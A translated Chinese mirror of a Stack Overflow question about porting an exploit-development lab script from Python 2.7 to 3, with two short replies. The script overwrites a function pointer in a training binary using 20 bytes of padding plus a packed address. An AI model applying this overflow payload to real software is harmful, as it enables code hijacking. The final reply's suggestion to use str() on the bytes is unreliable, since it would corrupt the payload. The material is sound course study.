簡體   English   中英

需要幫助重寫python 2.7 Unicode代碼才能與3.x一起使用

[英]Need help rewriting python 2.7 Unicode code to work with 3.x

我正在完成有關Pluralsight的Exploit開發課程,目前在實驗室中,我們正在做基本的函數指針覆蓋。 實驗室的python腳本實際上使用24字節字符串輸入(以“ jackpot”函數的內存地址結尾)運行目標可執行文件。 這是代碼:

#!/usr/bin/python
import sys
import subprocess
import struct

# 20+4+8+4=36 would overwrite 'r', but we only want to hit the func ptr

jackpot = 0x401591
# we only take 3 of the 4 bytes because strings cannot have a null,
# but will be null terminated terminated to complete the dword address
jackpot_packed = struct.pack('L', jackpot)[0:3]

arg = "A" * 20
arg += jackpot_packed
# or
# arg += "\x91\x15\x40"

subprocess.call(['functionoverwrite.exe', arg])

該腳本運行無錯誤,並且可以使用python 2.7.8正常運行,但是使用3.7.2時,出現此錯誤:

追溯(最近一次通話最近):文件“ c:/ Users / rossk / Desktop / Pluralsight / Exploit Development / 03 / demos / lab2 / solution / solution.py”,第14行,在arg + = jackpot_packed TypeError中:只能串聯str(不是“字節”)到str

因此,我嘗試注釋掉“ arg + = jackpot_packed”表達式,並改用“ arg + =” \\ x91 \\ x15 \\ x40“,但這顯然不會導致相同的字符串,因為當我運行腳本時目標可執行文件崩潰而未調用累積獎金函數。

我正在尋找一種針對python 3修復此程序的方法。如何重寫此代碼,使其適用於3.x?

在Python 3中,unicode(str)對象和bytes對象之間沒有隱式轉換。 如果您知道輸出的編碼,則可以對它進行.decode()以獲取字符串,也可以使用“ \\ n”將要添加的\\ n轉換為字節。encode('ascii')

嘗試arg + = str(jackpot_packed)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM